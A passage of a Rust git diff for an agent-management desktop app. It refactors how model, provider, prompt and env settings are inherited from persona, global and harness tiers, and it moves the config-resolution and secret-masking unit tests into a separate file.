v)| { + !is_reserved_env_key(k) + && is_well_formed_env_key(k) + && !v.contains('\0') + && v.len() <= MAX_ENV_VALUE_BYTES + }) + .map(|(k, v)| (k.clone(), v.clone())) + .collect() +} + +/// Normalize a structured field value: blank/whitespace-only collapses to +/// `None`, matching `effective_config`'s `non_blank` helper. +fn non_blank(v: Option<&str>) -> Option { + v.filter(|s| !s.trim().is_empty()).map(str::to_owned) +} + +/// Build a sanitized `InheritedConfigTiers` snapshot at the command boundary. /// -/// Global defaults fill in when neither the record nor the linked persona -/// provides a value. They are re-tagged to `GlobalDefault` so the UI can -/// display "inherited from global defaults". +/// Persona env, global env, and harness definition env are sanitized with +/// spawn-equivalent rules. Structured fields are normalized (blank → None). +/// A missing persona (orphaned link) yields empty persona tiers — the panel +/// still renders from record/global while spawn independently refuses. +fn build_inherited_tiers( + record_persona_id: Option<&str>, + record_runtime: Option<&str>, + personas: &[AgentDefinition], + global: &GlobalAgentConfig, +) -> InheritedConfigTiers { + let persona = record_persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid)); + + let persona_env = persona + .map(|p| sanitize_inherited_env(&p.env_vars)) + .unwrap_or_default(); + let global_env = sanitize_inherited_env(&global.env_vars); + + // Definition env: same resolution as spawn (record.runtime → persona.runtime → ""). + // Reserved keys stripped; no malformed-key / NUL / oversize check needed because + // harness definitions are local admin-authored JSON, not user-provided data — but + // we apply `sanitize_inherited_env` for defense-in-depth (same rules as the other tiers). + let definition_env = { + let runtime_id = record_runtime + .or_else(|| persona.and_then(|p| p.runtime.as_deref())) + .unwrap_or(""); + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) + .map(|def| sanitize_inherited_env(&def.env)) + .unwrap_or_default() + }; + + let persona_model = persona.and_then(|p| non_blank(p.model.as_deref())); + let persona_provider = persona.and_then(|p| non_blank(p.provider.as_deref())); + let persona_prompt = persona.and_then(|p| non_blank(Some(&p.system_prompt))); + let global_model = non_blank(global.model.as_deref()); + let global_provider = non_blank(global.provider.as_deref()); + + InheritedConfigTiers { + persona_env, + global_env, + definition_env, + persona_model, + persona_provider, + persona_prompt, + global_model, + global_provider, + } +} + +/// Resolve the config surface with inherited persona and global tiers applied. /// -/// The re-tag is triple-gated — a field is re-tagged only when (a) the record -/// did not already have it (`!had_*`), (b) the surface produced the field, and -/// (c) the reader tagged it `BuzzExplicit`. A value the user set explicitly in -/// Buzz keeps `had_* == true` and is never re-tagged. +/// Persona-linked instances have their system_prompt/model/provider cleared +/// first (definition-authoritative): stale materialized snapshots can never +/// shadow live persona values. The reader then resolves each field through its +/// full candidate list (record env > ACP > persona env > global env > structured +/// persona/global > config file) via `resolve_with_override`. fn resolve_config_surface( mut record: ManagedAgentRecord, personas: &[AgentDefinition], @@ -65,146 +122,23 @@ fn resolve_config_surface( session_cache: Option<&SessionConfigCache>, global: &GlobalAgentConfig, ) -> RuntimeConfigSurface { - // Linked instances are definition-authoritative (mirrors - // `effective_config::resolve_linked`): the record's own - // system_prompt/model/provider fields are, at best, a stale materialized - // snapshot from the last `apply_persona_snapshot` — never a legitimate - // live override, since `update_managed_agent` blocks writing these three - // fields for linked instances. Clear them before computing `had_*` below - // so a stale byte can never masquerade as BuzzExplicit and suppress - // definition/global injection. Env var overrides (set via the advanced - // env-vars editor) are untouched — those remain a legitimate - // per-instance override regardless of link status. + // Linked instances are definition-authoritative: clear stale materialized + // model/provider/prompt so they can never masquerade as BuzzExplicit and + // shadow definition values. Env var overrides are untouched. if record.persona_id.is_some() { record.system_prompt = None; record.model = None; record.provider = None; } - let had_prompt = - record.system_prompt.is_some() || record.env_vars.contains_key("BUZZ_ACP_SYSTEM_PROMPT"); - let had_model = record.model.is_some(); - - let provider_env_key = runtime_meta.and_then(|m| m.provider_env_var).unwrap_or(""); - let had_provider = record.env_vars.contains_key(provider_env_key); - - let (persona_prompt, persona_model, persona_provider) = resolve_effective_prompt_model_provider( + let tiers = build_inherited_tiers( record.persona_id.as_deref(), + record.runtime.as_deref(), personas, - record.system_prompt.clone(), - record.model.clone(), - record.provider.clone(), - ); - - // Build the baseline the reader overrides a live model against, paired with - // its true origin so the secondary is tagged correctly. Two sources: - // - persona-linked, no explicit record model: the persona model is the - // baseline (PersonaDefault). - // - genuine-explicit (record had its own model) that live-switched: the - // record's own model is the baseline (BuzzExplicit). Gated behind - // `model_overridden` so a persona edited mid-life (override flag false) - // never synthesizes a baseline and false-positives an override. - // An explicit pick with no live switch has no baseline to override. - let model_overridden = session_cache.is_some_and(|c| c.model_overridden); - let baseline = if had_model { - if model_overridden { - record - .model - .clone() - .map(|m| (m, ConfigOrigin::BuzzExplicit)) - } else { - None - } - } else { - // Prefer persona as baseline, fall back to global when persona has none - // and the model was overridden mid-session (global-default agent). - persona_model - .clone() - .map(|m| (m, ConfigOrigin::PersonaDefault)) - .or_else(|| { - if model_overridden { - global - .model - .clone() - .map(|m| (m, ConfigOrigin::GlobalDefault)) - } else { - None - } - }) - }; - - // Inject resolved persona values into the record where absent. - if !had_prompt { - if let Some(p) = persona_prompt { - record - .env_vars - .insert("BUZZ_ACP_SYSTEM_PROMPT".to_string(), p); - } - } - if !had_model { - record.model = persona_model.clone(); - } - if !had_provider && !provider_env_key.is_empty() { - if let Some(prov) = persona_provider { - record.env_vars.insert(provider_env_key.to_string(), prov); - } - } - - // Inject global defaults where neither the record nor the persona had a value. - // Track injection so we can re-tag to GlobalDefault after the reader. - let inject_global_model = !had_model && record.model.is_none(); - let inject_global_provider = !had_provider - && !provider_env_key.is_empty() - && !record.env_vars.contains_key(provider_env_key); - - if inject_global_model { - record.model = global.model.clone(); - } - if inject_global_provider { - if let Some(ref gprov) = global.provider { - record - .env_vars - .insert(provider_env_key.to_string(), gprov.clone()); - } - } - - let mut surface = read_config_surface( - &record, - runtime_meta, - session_cache, - baseline.as_ref().map(|(m, o)| (m.as_str(), o.clone())), + global, ); - // Re-tag persona-sourced fields from BuzzExplicit to PersonaDefault. - if !had_prompt { - retag_persona_default(&mut surface.normalized.system_prompt); - } - if !had_model && !inject_global_model { - retag_persona_default(&mut surface.normalized.model); - } - if !had_provider && !provider_env_key.is_empty() && !inject_global_provider { - retag_persona_default(&mut surface.normalized.provider); - } - - // Re-tag global-sourced fields from BuzzExplicit to GlobalDefault. - if inject_global_model { - retag_global_default(&mut surface.normalized.model); - } - if inject_global_provider { - retag_global_default(&mut surface.normalized.provider); - } - - surface -} - -/// Re-tag a field's origin from `BuzzExplicit` to `PersonaDefault`, leaving any -/// other origin untouched. No-op when the field is absent. -fn retag_persona_default(field: &mut Option) { - if let Some(field) = field { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } + read_config_surface(&record, runtime_meta, session_cache, &tiers) } /// Get the file-layer config for a runtime — used by the Create/Edit/Persona @@ -275,27 +209,6 @@ pub struct BakedEnvEntry { pub masked: bool, } -/// Returns `true` when a baked-env key is safe to display unmasked in the UI. -/// -/// This uses an explicit allowlist of keys that are known safe (non-secret). -/// Any key NOT in this set is masked — default-deny for a security surface. -/// -/// Allowlist (case-insensitive): -/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection -/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max) -/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults -fn is_safe_to_reveal(key: &str) -> bool { - const SAFE_KEYS: &[&str] = &[ - "BUZZ_AGENT_PROVIDER", - "BUZZ_AGENT_MODEL", - "BUZZ_AGENT_THINKING_EFFORT", - "DATABRICKS_HOST", - "DATABRICKS_MODEL", - ]; - let upper = key.to_ascii_uppercase(); - SAFE_KEYS.iter().any(|safe| upper == *safe) -} - /// Expose the baked build env to the frontend with values shown, but any /// key not in the safe-to-reveal allowlist has its value replaced by `••••••`. /// @@ -327,16 +240,6 @@ pub fn get_baked_build_env() -> Vec { .collect() } -/// Re-tag a field's origin from `BuzzExplicit` to `GlobalDefault`, leaving any -/// other origin untouched. No-op when the field is absent. -fn retag_global_default(field: &mut Option) { - if let Some(field) = field { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::GlobalDefault; - } - } -} - /// Get the full config surface for a managed agent. /// /// Returns normalized + advanced config from all available tiers. @@ -601,511 +504,5 @@ fn parse_models(raw: Option<&serde_json::Value>) -> (Vec, Option< } #[cfg(test)] -mod tests { - use super::*; - use crate::managed_agents::{BackendKind, RespondTo}; - - fn goose_runtime() -> &'static KnownAcpRuntime { - &KnownAcpRuntime { - id: "goose", - label: "Goose", - commands: &["goose"], - aliases: &[], - avatar_url: "", - mcp_command: None, - mcp_hooks: false, - underlying_cli: None, - cli_install_commands: &[], - cli_install_commands_windows: &[], - adapter_install_commands: &[], - cli_install_instructions_url: "", - adapter_install_instructions_url: "", - cli_install_hint: "", - adapter_install_hint: "", - skill_dir: None, - supports_acp_model_switching: false, - model_env_var: Some("GOOSE_MODEL"), - provider_env_var: Some("GOOSE_PROVIDER"), - provider_locked: false, - default_env: &[], - config_file_path: Some("~/.config/goose/config.yaml"), - config_file_format: Some("yaml"), - supports_acp_native_config: true, - thinking_env_var: Some("GOOSE_THINKING_EFFORT"), - max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), - context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), - required_normalized_fields: &["model", "provider"], - login_hint: None, - auth_probe_args: None, - } - } - - fn agent_record() -> ManagedAgentRecord { - ManagedAgentRecord { - pubkey: "agent".to_string(), - name: "Agent".to_string(), - persona_id: Some("persona-1".to_string()), - private_key_nsec: "".to_string(), - auth_tag: None, - relay_url: "ws://localhost:3000".to_string(), - avatar_url: None, - acp_command: "buzz-acp".to_string(), - agent_command: "goose".to_string(), - agent_args: vec![], - mcp_command: "".to_string(), - turn_timeout_seconds: 300, - idle_timeout_seconds: None, - max_turn_duration_seconds: None, - parallelism: 1, - system_prompt: None, - model: None, - env_vars: Default::default(), - start_on_app_launch: false, - auto_restart_on_config_change: true, - runtime_pid: None, - backend: BackendKind::Local, - backend_agent_id: None, - provider_binary_path: None, - team_id: None, - persona_team_dir: None, - persona_name_in_team: None, - created_at: "".to_string(), - updated_at: "".to_string(), - last_started_at: None, - last_stopped_at: None, - last_exit_code: None, - last_error: None, - last_error_code: None, - respond_to: RespondTo::OwnerOnly, - respond_to_allowlist: vec![], - display_name: None, - slug: None, - runtime: None, - name_pool: Vec::new(), - is_builtin: false, - is_active: true, - shared: false, - source_team: None, - source_team_persona_slug: None, - catalog_source: None, - definition_respond_to: None, - definition_respond_to_allowlist: Vec::new(), - definition_parallelism: None, - relay_mesh: None, - agent_command_override: None, - persona_source_version: None, - provider: None, - } - } - - fn persona_with_model(model: &str) -> AgentDefinition { - AgentDefinition { - id: "persona-1".to_string(), - display_name: "Persona".to_string(), - avatar_url: None, - system_prompt: "You are a persona.".to_string(), - runtime: None, - model: Some(model.to_string()), - provider: None, - name_pool: Vec::new(), - is_builtin: false, - is_active: true, - shared: false, - source_team: None, - source_team_persona_slug: None, - catalog_source: None, - env_vars: Default::default(), - respond_to: None, - respond_to_allowlist: Vec::new(), - parallelism: None, - created_at: "".to_string(), - updated_at: "".to_string(), - } - } - - /// A post-spawn session cache whose live model is `current_model` and whose - /// `model_overridden` flag records whether a `SwitchModel` control signal set - /// it (the live-switch signal). - fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache { - SessionConfigCache { - config_options: vec![], - available_modes: vec![], - available_models: vec![], - current_model: Some(current_model.to_string()), - model_overridden, - goose_native_config: None, - captured_at: "".to_string(), - } - } - - /// Definition-authoritative: a stale materialized `record.model` on a - /// linked instance must never outrank (or even be consulted against) the - /// linked persona's model. `update_managed_agent` already blocks writing - /// model/provider/prompt for linked instances, so a non-`None` value here - /// can only be leftover snapshot bytes from before a persona edit — the - /// panel must report the persona's current model, tagged `PersonaDefault`, - /// not the stale byte as `BuzzExplicit`. - #[test] - fn linked_stale_record_model_never_outranks_persona_model() { - let mut record = agent_record(); - record.model = Some("stale-explicit-model".to_string()); - let personas = vec![persona_with_model("persona-model")]; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - None, - &Default::default(), - ); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::PersonaDefault); - } - - /// Definition-authoritative, blank-definition case: a linked instance - /// whose persona has no model of its own must fall through to the global - /// default, tagged `GlobalDefault` — mirroring - /// `effective_config::resolve_linked`'s `None => global` arm. A stale - /// materialized record model must not shadow this fallthrough either. - #[test] - fn linked_blank_definition_model_falls_through_to_global_default() { - let mut record = agent_record(); - record.model = Some("stale-explicit-model".to_string()); - let mut persona = persona_with_model("unused"); - persona.model = None; - let personas = vec![persona]; - let global = crate::managed_agents::GlobalAgentConfig { - model: Some("global-model".to_string()), - ..Default::default() - }; - - let surface = - resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("global-model")); - assert_eq!(model.origin, ConfigOrigin::GlobalDefault); - } - - /// A definition-less (no `persona_id`) instance's own explicit model IS - /// authoritative — the stale-record clearing above is scoped to linked - /// instances only. - #[test] - fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("explicit-model".to_string()); - let personas = vec![persona_with_model("persona-model")]; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - None, - &Default::default(), - ); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("explicit-model")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); - } - - /// Part A — pending-pick: a genuine-explicit pick X with a divergent live - /// model Y but `model_overridden == false` (the live switch is not yet - /// applied — a restart is pending) must keep X as the primary and must NOT - /// surface Y as an override row. The live `acp_model` does not win. This - /// FAILS against a let-live-acp-win variant (one that dropped the - /// `model_overridden` gate), so it is not vacuous. - #[test] - fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-y", false); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-x")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); - assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); - assert_ne!(model.overridden_value.as_deref(), Some("model-y")); - } - - /// W2 — genuine-explicit live switch: record.model = X, no persona, - /// `model_overridden == true`, live model = Y. The live Y must render as the - /// primary with a `RuntimeOverride` origin and X as the secondary tagged - /// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the - /// shipped no-persona early-return, which left X as primary and Y struck. - #[test] - fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-y", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - assert_eq!(model.overridden_value.as_deref(), Some("model-x")); - assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); - } - - /// Y==X collision: a genuine-explicit agent live-switches to the SAME value - /// it already had. There is no real divergence, so the field must be a clean - /// single value with NO secondary row. FAILS against a naive `return base` - /// that would leak the `AcpConfigOption` row `build_model_field` populates. - #[test] - fn genuine_explicit_live_switch_to_same_model_yields_clean_field() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-x", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-x")); - assert_eq!(model.overridden_value, None); - assert_eq!(model.overridden_origin, None); - } - - /// Persona parity (regression): a persona-linked agent with no explicit - /// record model that live-switches still renders the persona model as the - /// secondary tagged `PersonaDefault` — the typed-baseline change must NOT - /// regress the persona arm to a different origin. - #[test] - fn persona_linked_live_switch_keeps_persona_default_secondary() { - let record = agent_record(); - let personas = vec![persona_with_model("persona-model")]; - let cache = session_cache("model-y", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); - assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); - } - - /// Fix 2 regression: a global-default-only agent (no record model, no - /// persona model, but global has a model) that live-switches mid-session - /// must render the global model as the secondary tagged `GlobalDefault`. - /// Before the fix, `baseline` was `None` in the `!had_model` arm when - /// persona has no model, so `read_config_surface` had no secondary to - /// surface. Fails against pre-fix code where the baseline arm returned - /// `None` when `!had_model && persona_model.is_none() && model_overridden`. - #[test] - fn global_default_live_switch_renders_global_model_as_secondary_global_default() { - // Record has no model, no persona, global provides the model. - let mut record = agent_record(); - record.persona_id = None; - // record.model = None (set by agent_record()) - let personas: Vec = vec![]; - let cache = session_cache("model-y", true); - let global = crate::managed_agents::GlobalAgentConfig { - model: Some("global-model".to_string()), - ..Default::default() - }; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &global, - ); - let model = surface.normalized.model.expect("model resolved"); - - // Live model wins as primary. - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - // Global model surfaces as secondary, tagged GlobalDefault. - assert_eq!( - model.overridden_value.as_deref(), - Some("global-model"), - "global model must be the override baseline secondary" - ); - assert_eq!( - model.overridden_origin, - Some(ConfigOrigin::GlobalDefault), - "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit" - ); - } - - // ── get_baked_build_env / is_secret_key tests ────────────────────────── - - /// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what - /// `get_baked_build_env()` does. Used to test masking without relying on - /// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`). - fn baked_env_from_map(map: &[(&str, &str)]) -> Vec { - map.iter() - .filter(|(_, v)| !v.is_empty()) - .map(|(k, v)| { - let masked = !super::is_safe_to_reveal(k); - BakedEnvEntry { - key: k.to_string(), - value: if masked { - "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string() - } else { - v.to_string() - }, - masked, - } - }) - .collect() - } - - #[test] - fn baked_env_non_secret_key_shows_real_value() { - let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]); - assert_eq!(entries.len(), 1); - assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER"); - assert_eq!(entries[0].value, "databricks_v2"); - assert!(!entries[0].masked); - } - - #[test] - fn baked_env_api_key_is_masked() { - let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]); - assert_eq!(entries.len(), 1); - assert_eq!(entries[0].value, "••••••"); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_token_key_is_masked() { - let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_secret_key_is_masked() { - let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_password_key_is_masked() { - let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_empty_value_filtered_out() { - let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]); - assert!(entries.is_empty()); - } - - #[test] - fn baked_env_mixed_keys_correct_masking() { - let entries = baked_env_from_map(&[ - ("BUZZ_AGENT_PROVIDER", "databricks_v2"), - ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"), - ("DATABRICKS_HOST", "https://example.com"), - ("DATABRICKS_TOKEN", "dapi-secret"), - ]); - assert_eq!(entries.len(), 4); - - let provider = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_PROVIDER") - .unwrap(); - assert_eq!(provider.value, "databricks_v2"); - assert!(!provider.masked); - - let model = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_MODEL") - .unwrap(); - assert_eq!(model.value, "goose-claude-opus-4-8"); - assert!(!model.masked); - - let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap(); - assert_eq!(host.value, "https://example.com"); - assert!(!host.masked); - - let token = entries - .iter() - .find(|e| e.key == "DATABRICKS_TOKEN") - .unwrap(); - assert_eq!(token.value, "••••••"); - assert!(token.masked); - } - - #[test] - fn baked_env_thinking_effort_is_unmasked() { - // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked. - let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]); - assert_eq!(entries.len(), 1); - let effort = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT") - .unwrap(); - assert_eq!(effort.value, "medium"); - assert!(!effort.masked); - } - - #[test] - fn baked_env_allowlist_is_case_insensitive() { - // Known-safe keys — case-insensitive match must allow them. - assert!(super::is_safe_to_reveal("buzz_agent_provider")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER")); - assert!(super::is_safe_to_reveal("buzz_agent_model")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL")); - assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT")); - assert!(super::is_safe_to_reveal("databricks_host")); - assert!(super::is_safe_to_reveal("DATABRICKS_HOST")); - assert!(super::is_safe_to_reveal("databricks_model")); - assert!(super::is_safe_to_reveal("DATABRICKS_MODEL")); - // Keys NOT in the allowlist — masked regardless of naming pattern. - assert!(!super::is_safe_to_reveal("my_api_key")); - assert!(!super::is_safe_to_reveal("GITHUB_TOKEN")); - assert!(!super::is_safe_to_reveal("DB_SECRET")); - assert!(!super::is_safe_to_reveal("DB_PASSWORD")); - // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed. - assert!(!super::is_safe_to_reveal("APIKEY")); - assert!(!super::is_safe_to_reveal("TOKEN")); - assert!(!super::is_safe_to_reveal("SECRET")); - assert!(!super::is_safe_to_reveal("PASSWORD")); - assert!(!super::is_safe_to_reveal("PRIVATE_KEY")); - // Unknown key → masked by default. - assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY")); - } -} +#[path = "agent_config_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/commands/agent_config_tests.rs b/desktop/src-tauri/src/commands/agent_config_tests.rs new file mode 100644 index 0000000000..5519153578 --- /dev/null +++ b/desktop/src-tauri/src/commands/agent_config_tests.rs @@ -0,0 +1,652 @@ +//! Unit tests for `commands/agent_config.rs` (split to keep `agent_config.rs` +//! under the 1000-line file-size ratchet). +//! +//! Included via `#[path = "agent_config_tests.rs"] mod tests;` at the bottom of +//! `agent_config.rs`, so `use super::*` gives access to all items in that module. + +use super::*; +use crate::managed_agents::config_bridge::types::ConfigOrigin; +use crate::managed_agents::{BackendKind, RespondTo}; + +use std::sync::Mutex; + +static GOOSE_PATH_ROOT_LOCK: Mutex<()> = Mutex::new(()); + +/// Run a test body with GOOSE_PATH_ROOT set to a non-existent path so that the +/// goose config file read returns `None`. Restores the prior value on exit. +fn with_no_goose_config(body: impl FnOnce() -> T) -> T { + let _guard = GOOSE_PATH_ROOT_LOCK + .lock() + .unwrap_or_else(|err| err.into_inner()); + let prior = std::env::var_os("GOOSE_PATH_ROOT"); + std::env::set_var("GOOSE_PATH_ROOT", "/nonexistent-buzz-test-path"); + let output = body(); + match prior { + Some(value) => std::env::set_var("GOOSE_PATH_ROOT", value), + None => std::env::remove_var("GOOSE_PATH_ROOT"), + } + output +} + +fn goose_runtime() -> &'static KnownAcpRuntime { + &KnownAcpRuntime { + id: "goose", + label: "Goose", + commands: &["goose"], + aliases: &[], + avatar_url: "", + mcp_command: None, + mcp_hooks: false, + underlying_cli: None, + cli_install_commands: &[], + cli_install_commands_windows: &[], + adapter_install_commands: &[], + cli_install_instructions_url: "", + adapter_install_instructions_url: "", + cli_install_hint: "", + adapter_install_hint: "", + skill_dir: None, + supports_acp_model_switching: false, + model_env_var: Some("GOOSE_MODEL"), + provider_env_var: Some("GOOSE_PROVIDER"), + provider_locked: false, + default_env: &[], + config_file_path: Some("~/.config/goose/config.yaml"), + config_file_format: Some("yaml"), + supports_acp_native_config: true, + thinking_env_var: Some("GOOSE_THINKING_EFFORT"), + max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), + context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, + required_normalized_fields: &["model", "provider"], + login_hint: None, + auth_probe_args: None, + } +} + +fn agent_record() -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: "agent".to_string(), + name: "Agent".to_string(), + persona_id: Some("persona-1".to_string()), + private_key_nsec: "".to_string(), + auth_tag: None, + relay_url: "ws://localhost:3000".to_string(), + avatar_url: None, + acp_command: "buzz-acp".to_string(), + agent_command: "goose".to_string(), + agent_args: vec![], + mcp_command: "".to_string(), + turn_timeout_seconds: 300, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + model: None, + env_vars: Default::default(), + start_on_app_launch: false, + auto_restart_on_config_change: true, + runtime_pid: None, + backend: BackendKind::Local, + backend_agent_id: None, + provider_binary_path: None, + team_id: None, + persona_team_dir: None, + persona_name_in_team: None, + created_at: "".to_string(), + updated_at: "".to_string(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + respond_to: RespondTo::OwnerOnly, + respond_to_allowlist: vec![], + display_name: None, + slug: None, + runtime: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + definition_respond_to: None, + definition_respond_to_allowlist: Vec::new(), + definition_parallelism: None, + relay_mesh: None, + agent_command_override: None, + persona_source_version: None, + provider: None, + } +} + +fn persona_with_model(model: &str) -> AgentDefinition { + AgentDefinition { + id: "persona-1".to_string(), + display_name: "Persona".to_string(), + avatar_url: None, + system_prompt: "You are a persona.".to_string(), + runtime: None, + model: Some(model.to_string()), + provider: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + env_vars: Default::default(), + respond_to: None, + respond_to_allowlist: Vec::new(), + parallelism: None, + created_at: "".to_string(), + updated_at: "".to_string(), + } +} + +/// A post-spawn session cache whose live model is `current_model` and whose +/// `model_overridden` flag records whether a `SwitchModel` control signal set +/// it (the live-switch signal). +fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache { + SessionConfigCache { + config_options: vec![], + available_modes: vec![], + available_models: vec![], + current_model: Some(current_model.to_string()), + model_overridden, + goose_native_config: None, + captured_at: "".to_string(), + } +} + +/// Definition-authoritative: a stale materialized `record.model` on a +/// linked instance must never outrank (or even be consulted against) the +/// linked persona's model. `update_managed_agent` already blocks writing +/// model/provider/prompt for linked instances, so a non-`None` value here +/// can only be leftover snapshot bytes from before a persona edit — the +/// panel must report the persona's current model, tagged `PersonaDefault`, +/// not the stale byte as `BuzzExplicit`. +#[test] +fn linked_stale_record_model_never_outranks_persona_model() { + let mut record = agent_record(); + record.model = Some("stale-explicit-model".to_string()); + let personas = vec![persona_with_model("persona-model")]; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + None, + &Default::default(), + ); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("persona-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +/// Definition-authoritative, blank-definition case: a linked instance +/// whose persona has no model of its own must fall through to the global +/// default, tagged `GlobalDefault` — mirroring +/// `effective_config::resolve_linked`'s `None => global` arm. A stale +/// materialized record model must not shadow this fallthrough either. +#[test] +fn linked_blank_definition_model_falls_through_to_global_default() { + let mut record = agent_record(); + record.model = Some("stale-explicit-model".to_string()); + let mut persona = persona_with_model("unused"); + persona.model = None; + let personas = vec![persona]; + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); +} + +/// A definition-less (no `persona_id`) instance's own explicit model IS +/// authoritative — the stale-record clearing above is scoped to linked +/// instances only. +#[test] +fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("explicit-model".to_string()); + let personas = vec![persona_with_model("persona-model")]; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + None, + &Default::default(), + ); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("explicit-model")); + 